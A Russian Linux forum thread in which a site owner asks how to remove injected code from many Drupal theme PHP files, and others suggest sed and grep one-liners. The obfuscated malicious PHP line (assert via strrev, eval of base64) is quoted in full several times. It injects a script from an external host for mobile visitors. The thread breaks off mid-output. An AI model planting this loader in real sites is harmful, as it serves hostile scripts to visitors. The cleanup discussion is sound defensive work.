LinuxForum.Fans
Тема

Поиск и замена сложных строк

Автор: sibero 43 сообщений 6547 просмотров
#288976

Здравствуйте.
Столкнулся с задачей и уже долго бьюсь в поисках решения, надеюсь на вашу помощь. На сайте произошло заражение и в файлы php был добавлен код :
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgc$
?>
Из-за того, что в строке много спецсимволов, grep и sed не работают корректно. Как можно произвести поиск и замену по файлам php и удалить эти строки?

#288977
"sibero" написал:
Из-за того, что в строке много спецсимволов, grep и sed не работают корректно.

уверен на 99,5%, что пользуешься ты ими не корректно...

#288978

ТС. покажи полностью страничку кода зараженного

#288979

Пример зараженного файла ниже. Вредоносный скрипт вставляется в начале php скриптов, руками удалить можно, но зараженных файлов очень много. Обычно поиск и замену по файлу осуществлял командой sed -i 's/заменяемая/заменяющая/g' , но в данном случае не пойму, как решить задачу.

text

<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb'];

if (!empty($breadcrumb)) { // Provide a navigational heading to give context for breadcrumb links to // screen-reader users. Make the heading invisible with .element-invisible. $output = '<h2 class="element-invisible">' . t('You are here') . '</h2>';

$output .= '<div class="breadcrumb">' . implode(' › ', $breadcrumb) . '</div>'; return $output; } }

/** * Override or insert variables into the maintenance page template. */ function garland_preprocess_maintenance_page(&$vars) { // While markup for normal pages is split into page.tpl.php and html.tpl.php, // the markup for the maintenance page is all in the single // maintenance-page.tpl.php template. So, to have what's done in // garland_preprocess_html() also happen on the maintenance page, it has to be // called here. garland_preprocess_html($vars); }

/** * Override or insert variables into the html template. */ function garland_preprocess_html(&$vars) { // Toggle fixed or fluid width. if (theme_get_setting('garland_width') == 'fluid') { $vars['classes_array'][] = 'fluid-width'; } // Add conditional CSS for IE6. drupal_add_css(path_to_theme() . '/fix-ie.css', array('group' => CSS_THEME, 'browsers' => array('IE' => 'lt IE 7', '!IE' => FALSE), 'preprocess' => FALSE)); }

/** * Override or insert variables into the html template. */ function garland_process_html(&$vars) { // Hook into color.module if (module_exists('color')) { _color_html_alter($vars); } }

/** * Override or insert variables into the page template. */ function garland_preprocess_page(&$vars) { // Move secondary tabs into a separate variable. $vars['tabs2'] = array( '#theme' => 'menu_local_tasks', '#secondary' => $vars['tabs']['#secondary'], ); unset($vars['tabs']['#secondary']);

if (isset($vars['main_menu'])) { $vars['primary_nav'] = theme('links__system_main_menu', array( 'links' => $vars['main_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'main-menu'), ), 'heading' => array( 'text' => t('Main menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['primary_nav'] = FALSE; } if (isset($vars['secondary_menu'])) { $vars['secondary_nav'] = theme('links__system_secondary_menu', array( 'links' => $vars['secondary_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'secondary-menu'), ), 'heading' => array( 'text' => t('Secondary menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['secondary_nav'] = FALSE; }

// Prepare header. $site_fields = array(); if (!empty($vars['site_name'])) { $site_fields[] = $vars['site_name']; } if (!empty($vars['site_slogan'])) { $site_fields[] = $vars['site_slogan']; } $vars['site_title'] = implode(' ', $site_fields); if (!empty($site_fields)) { $site_fields[0] = '<span>' . $site_fields[0] . '</span>'; } $vars['site_html'] = implode(' ', $site_fields);

// Set a variable for the site name title and logo alt attributes text. $slogan_text = $vars['site_slogan']; $site_name_text = $vars['site_name']; $vars['site_name_and_slogan'] = $site_name_text . ' ' . $slogan_text; }

/** * Override or insert variables into the node template. */ function garland_preprocess_node(&$vars) { $vars['submitted'] = $vars['date'] . ' — ' . $vars['name']; }

/** * Override or insert variables into the comment template. */ function garland_preprocess_comment(&$vars) { $vars['submitted'] = $vars['created'] . ' — ' . $vars['author']; }

/** * Override or insert variables into the block template. */ function garland_preprocess_block(&$vars) { $vars['title_attributes_array']['class'][] = 'title'; $vars['classes_array'][] = 'clearfix'; }

/** * Override or insert variables into the page template. */ function garland_process_page(&$vars) { // Hook into color.module if (module_exists('color')) { _color_page_alter($vars); } }

/** * Override or insert variables into the region template. */ function garland_preprocess_region(&$vars) { if ($vars['region'] == 'header') { $vars['classes_array'][] = 'clearfix'; } }

#288980
"Fat-Zer" написал:
уверен на 99,5%, что пользуешься ты ими не корректно...

Не хватает знаний, поэтому и прошу помощи. Я много информации перечитал, пол дня просидел, решения пока не нашел.

#288981

вопрос
я не силет в php поэтому и вопрос

только лишь зараженый код начинается с
<?php
и заканчивается
<?php

?


или добрый код тоже имеет такие началы и концы?

#288983

В шаблонах темы так же могут быть вставки <?php ?> (в которых хороший код) , поэтому удаление всего в <?php ?> не подойдет. Нужно удалить только кусок:

text

<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>

Самое главное удалить строчку вредоносного кода:

text

$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");

Продолжаю эксперименты с sed, но решить не получается.

#288984

пойду спать. а от тебя еще инфа нужна

всегда ли этот код уникален? ("монолитный")
всегда ли он в начале файла?
и всегда ли он состоит из 4х строк?

#288985

для начала вот тебе

text
gu@moshell:~$ cat php
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb'];

if (!empty($breadcrumb)) { // Provide a navigational heading to give context for breadcrumb links to // screen-reader users. Make the heading invisible with .element-invisible. $output = '<h2 class="element-invisible">' . t('You are here') . '</h2>';

$output .= '<div class="breadcrumb">' . implode(' › ', $breadcrumb) . '</div>'; return $output; } }

/** * Override or insert variables into the maintenance page template. */ function garland_preprocess_maintenance_page(&$vars) { // While markup for normal pages is split into page.tpl.php and html.tpl.php, // the markup for the maintenance page is all in the single // maintenance-page.tpl.php template. So, to have what's done in // garland_preprocess_html() also happen on the maintenance page, it has to be // called here. garland_preprocess_html($vars); }

/** * Override or insert variables into the html template. */ function garland_preprocess_html(&$vars) { // Toggle fixed or fluid width. if (theme_get_setting('garland_width') == 'fluid') { $vars['classes_array'][] = 'fluid-width'; } // Add conditional CSS for IE6. drupal_add_css(path_to_theme() . '/fix-ie.css', array('group' => CSS_THEME, 'browsers' => array('IE' => 'lt IE 7', '!IE' => FALSE), 'preprocess' => FALSE)); }

/** * Override or insert variables into the html template. */ function garland_process_html(&$vars) { // Hook into color.module if (module_exists('color')) { _color_html_alter($vars); } }

/** * Override or insert variables into the page template. */ function garland_preprocess_page(&$vars) { // Move secondary tabs into a separate variable. $vars['tabs2'] = array( '#theme' => 'menu_local_tasks', '#secondary' => $vars['tabs']['#secondary'], ); unset($vars['tabs']['#secondary']);

if (isset($vars['main_menu'])) { $vars['primary_nav'] = theme('links__system_main_menu', array( 'links' => $vars['main_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'main-menu'), ), 'heading' => array( 'text' => t('Main menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['primary_nav'] = FALSE; } if (isset($vars['secondary_menu'])) { $vars['secondary_nav'] = theme('links__system_secondary_menu', array( 'links' => $vars['secondary_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'secondary-menu'), ), 'heading' => array( 'text' => t('Secondary menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['secondary_nav'] = FALSE; }

// Prepare header. $site_fields = array(); if (!empty($vars['site_name'])) { $site_fields[] = $vars['site_name']; } if (!empty($vars['site_slogan'])) { $site_fields[] = $vars['site_slogan']; } $vars['site_title'] = implode(' ', $site_fields); if (!empty($site_fields)) { $site_fields[0] = '<span>' . $site_fields[0] . '</span>'; } $vars['site_html'] = implode(' ', $site_fields);

// Set a variable for the site name title and logo alt attributes text. $slogan_text = $vars['site_slogan']; $site_name_text = $vars['site_name']; $vars['site_name_and_slogan'] = $site_name_text . ' ' . $slogan_text; }

/** * Override or insert variables into the node template. */ function garland_preprocess_node(&$vars) { $vars['submitted'] = $vars['date'] . ' — ' . $vars['name']; }

/** * Override or insert variables into the comment template. */ function garland_preprocess_comment(&$vars) { $vars['submitted'] = $vars['created'] . ' — ' . $vars['author']; }

/** * Override or insert variables into the block template. */ function garland_preprocess_block(&$vars) { $vars['title_attributes_array']['class'][] = 'title'; $vars['classes_array'][] = 'clearfix'; }

/** * Override or insert variables into the page template. */ function garland_process_page(&$vars) { // Hook into color.module if (module_exists('color')) { _color_page_alter($vars); } }

/** * Override or insert variables into the region template. */ function garland_preprocess_region(&$vars) { if ($vars['region'] == 'header') { $vars['classes_array'][] = 'clearfix'; } } gu@moshell:~$ sed -n '/<?php$/,/<?php$/p' php <?php $_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073"); ?> <?php gu@moshell:~$

sed -n '/<?php$/,/<?php$/p' php
вырезает твой код злопакостный
php == название файла

#288986

Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).

"moshell" написал:
пойду спать. а от тебя еще инфа нужна

Доброй ночи и спасибо за помощь.

#288987
moshell написал:
sed -n '/<?php$/,/<?php$/p' php
вырезает твой код злопакостный
php == название файла

точнее не вырезает, а выводит только его.
ну инверсию уже додумаешь)
удачи)

#288988
"moshell" написал:
sed -n '/<?php$/,/<?php$/p' php
вырезает твой код злопакостный
php == название файла

На сколько я вижу, команда отображает то что находится между тегами <?php и <?php. К сожалению, между данными тегами может быть и не вредоносный код.

#288989
sibero написал:
[quote="moshell"]sed -n '/<?php$/,/<?php$/p' php
вырезает твой код злопакостный
php == название файла

На сколько я вижу, команда отображает то что находится между тегами <?php и <?php. К сожалению, между данными тегами может быть и не вредоносный код.[/quote]
вредоносный код ВСЕГДА ОДИН И ТОТ ЖЕ? (МОНОЛИТНЫЙ)?
если да, тогда не беда. ща за пивом сгоняю и придумаем ;)

#288990

Код монолитный, всегда один и тот же. Мозг уже вскипает, все ночь сижу за мануалами :)

#288991
sibero написал:
Код монолитный, всегда один и тот же. Мозг уже вскипает, все ночь сижу за мануалами :)

ну раз монолитный. он ограничивается пустыми строками?

#288992

sed -e '/./{H;$!d;}' -e 'x;/tressa/!d;' php

при условии что слово tressa у тебя встречается ТОЛЬКО во вредном коде
и вредоносный код сверху и снизу отделен от нормального кода пустой строкой

#288993
Fat-Zer написал:
[quote="sibero"]Из-за того, что в строке много спецсимволов, grep и sed не работают корректно.

уверен на 99,5%, что пользуешься ты ими не корректно...[/quote]
первый раз слышу такое.. 99,5
почему не 99,9?

сомневаешься?)

#288994

ты сказал что grep не работает..
странно

text
gu@moshell:~$ cat php
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb'];

if (!empty($breadcrumb)) { // Provide a navigational heading to give context for breadcrumb links to // screen-reader users. Make the heading invisible with .element-invisible. $output = '<h2 class="element-invisible">' . t('You are here') . '</h2>';

$output .= '<div class="breadcrumb">' . implode(' › ', $breadcrumb) . '</div>'; return $output; } }

/** * Override or insert variables into the maintenance page template. */ function garland_preprocess_maintenance_page(&$vars) { // While markup for normal pages is split into page.tpl.php and html.tpl.php, // the markup for the maintenance page is all in the single // maintenance-page.tpl.php template. So, to have what's done in // garland_preprocess_html() also happen on the maintenance page, it has to be // called here. garland_preprocess_html($vars); }

/** * Override or insert variables into the html template. */ function garland_preprocess_html(&$vars) { // Toggle fixed or fluid width. if (theme_get_setting('garland_width') == 'fluid') { $vars['classes_array'][] = 'fluid-width'; } // Add conditional CSS for IE6. drupal_add_css(path_to_theme() . '/fix-ie.css', array('group' => CSS_THEME, 'browsers' => array('IE' => 'lt IE 7', '!IE' => FALSE), 'preprocess' => FALSE)); }

/** * Override or insert variables into the html template. */ function garland_process_html(&$vars) { // Hook into color.module if (module_exists('color')) { _color_html_alter($vars); } }

/** * Override or insert variables into the page template. */ function garland_preprocess_page(&$vars) { // Move secondary tabs into a separate variable. $vars['tabs2'] = array( '#theme' => 'menu_local_tasks', '#secondary' => $vars['tabs']['#secondary'], ); unset($vars['tabs']['#secondary']);

if (isset($vars['main_menu'])) { $vars['primary_nav'] = theme('links__system_main_menu', array( 'links' => $vars['main_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'main-menu'), ), 'heading' => array( 'text' => t('Main menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['primary_nav'] = FALSE; } if (isset($vars['secondary_menu'])) { $vars['secondary_nav'] = theme('links__system_secondary_menu', array( 'links' => $vars['secondary_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'secondary-menu'), ), 'heading' => array( 'text' => t('Secondary menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['secondary_nav'] = FALSE; }

// Prepare header. $site_fields = array(); if (!empty($vars['site_name'])) { $site_fields[] = $vars['site_name']; } if (!empty($vars['site_slogan'])) { $site_fields[] = $vars['site_slogan']; } $vars['site_title'] = implode(' ', $site_fields); if (!empty($site_fields)) { $site_fields[0] = '<span>' . $site_fields[0] . '</span>'; } $vars['site_html'] = implode(' ', $site_fields);

// Set a variable for the site name title and logo alt attributes text. $slogan_text = $vars['site_slogan']; $site_name_text = $vars['site_name']; $vars['site_name_and_slogan'] = $site_name_text . ' ' . $slogan_text; }

/** * Override or insert variables into the node template. */ function garland_preprocess_node(&$vars) { $vars['submitted'] = $vars['date'] . ' — ' . $vars['name']; }

/** * Override or insert variables into the comment template. */ function garland_preprocess_comment(&$vars) { $vars['submitted'] = $vars['created'] . ' — ' . $vars['author']; }

/** * Override or insert variables into the block template. */ function garland_preprocess_block(&$vars) { $vars['title_attributes_array']['class'][] = 'title'; $vars['classes_array'][] = 'clearfix'; }

/** * Override or insert variables into the page template. */ function garland_process_page(&$vars) { // Hook into color.module if (module_exists('color')) { _color_page_alter($vars); } }

/** * Override or insert variables into the region template. */ function garland_preprocess_region(&$vars) { if ($vars['region'] == 'header') { $vars['classes_array'][] = 'clearfix'; } } gu@moshell:~$ cat php | grep tressa $_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073"); gu@moshell:~$ cat php | grep -v tressa <?php ?> <?php

/** * Override of theme_breadcrumb(). */ function garland_breadcrumb($variables) { $breadcrumb = $variables['breadcrumb'];

if (!empty($breadcrumb)) { // Provide a navigational heading to give context for breadcrumb links to // screen-reader users. Make the heading invisible with .element-invisible. $output = '<h2 class="element-invisible">' . t('You are here') . '</h2>';

$output .= '<div class="breadcrumb">' . implode(' › ', $breadcrumb) . '</div>'; return $output; } }

/** * Override or insert variables into the maintenance page template. */ function garland_preprocess_maintenance_page(&$vars) { // While markup for normal pages is split into page.tpl.php and html.tpl.php, // the markup for the maintenance page is all in the single // maintenance-page.tpl.php template. So, to have what's done in // garland_preprocess_html() also happen on the maintenance page, it has to be // called here. garland_preprocess_html($vars); }

/** * Override or insert variables into the html template. */ function garland_preprocess_html(&$vars) { // Toggle fixed or fluid width. if (theme_get_setting('garland_width') == 'fluid') { $vars['classes_array'][] = 'fluid-width'; } // Add conditional CSS for IE6. drupal_add_css(path_to_theme() . '/fix-ie.css', array('group' => CSS_THEME, 'browsers' => array('IE' => 'lt IE 7', '!IE' => FALSE), 'preprocess' => FALSE)); }

/** * Override or insert variables into the html template. */ function garland_process_html(&$vars) { // Hook into color.module if (module_exists('color')) { _color_html_alter($vars); } }

/** * Override or insert variables into the page template. */ function garland_preprocess_page(&$vars) { // Move secondary tabs into a separate variable. $vars['tabs2'] = array( '#theme' => 'menu_local_tasks', '#secondary' => $vars['tabs']['#secondary'], ); unset($vars['tabs']['#secondary']);

